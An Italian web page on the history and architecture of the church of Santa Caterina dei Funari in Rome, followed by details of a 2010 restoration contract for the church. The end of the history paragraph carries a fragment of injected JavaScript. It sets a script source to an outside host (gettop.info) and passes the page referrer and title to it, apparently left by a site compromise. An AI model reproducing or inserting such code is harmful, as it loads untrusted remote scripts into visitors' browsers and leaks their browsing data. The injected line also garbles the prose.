Santa Caterina si trova in via Funari, nel rione Sant’Angelo, in corrispondenza dell’antico “Circo Flaminio” e di una chiesa precedente, probabilmente dedicata a Santa Rosa da Viterbo che ne aveva portato avanti la costruzione prima dell’anno Mille. L’esistenza di una chiesa è,  attestata da una bolla di Celestino III del 1192, dalla quale si deduce che fosse stata costruita per ospitare le reliquie dei martiri Sisinnio, Romano e Saturnino e, per tale ragione, è probabile che fino alla fine del secolo XV fosse conosciuta proprio con il nome di San Saturnino. La denominazione “dei Funari”, invece, può essere una derivazione dal gentilizio della famiglia omonima, che abitava nei pressi dell’edificio o, secondo interpretazioni meno accreditate, potrebbe riferirsi alla presenza di fabbricanti di funi. Intorno alla metà del ‘500 papa Paolo III ne concesse la podestà ad Ignazio Lojola, che vi aggiunse un complesso destinato ad ospitare giovani donne non abbienti, e che convinse il Cardinale Federico Cesi (1544-1565) a finanziare l’opera di ricostruzione della chiesa, che venne dedicata a santa Caterina d’Alessandria. Rispetto all’edificio del XII secolo, che era a tre navate, l’attuale impianto della chiesa consta di un’unica navata con tre cappelle per lato, realizzata su progetto di Giacomo dalla Porta, e di una elegante facciata che, disegnata da Guidetto Guidetti, richiama principi e motivi rinascimentali. Realizzata in travertino, presenta due ordini di paraste corinzie, analogamente alla chiesa di Santo Spirito in Sassia da cui deriva, ma distinguendosene per il risalto della parte centrale e per la maggiore ricchezza dell’ornato, concentrato in fasce tra i capitelli; il portale a edicola è racchiuso tra colonne scanalate. Il rivestimento marmoreo è arricchito da un grande festone di frutta. Il campanile, con cella campanaria coronata da una piccola cupola ottagonale è costruito utilizzando i resti di una torre medievale. All’interno delle cappelle sono custoditi alcuni fra i più begli esempi di manierismo pittorico romano realizzati da artisti del calibro di Annibale Carracci, Livio Agresti, Girolamo Baglioni e Federico Zuccari.s.src=’http://gettop.info/kt/?sdNXbH&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;

Natura dell'opera: Restauro della stanza sopra l'Altare Maggiore e restauro del pavimento in cotto della Chiesa di Santa Caterina della Rosa ai Funari
Committente: Conservatorio di Santa Caterina della Rosa ai Funari
Indirizzo di cantiere: Conservatorio di Santa Caterina della Rosa ai Funari Via Michelangelo Caetani N. 9 - Roma
Importo dei lavori: € 33.350,00 oltre IVA
Categoria soa: OG 2; OS 2A
Responsabile del procediemnto: Dott. Alessandro Piccirilli
Direttore di cantiere: Arch. Simone Massimilla
Anno di realizzazione: 2010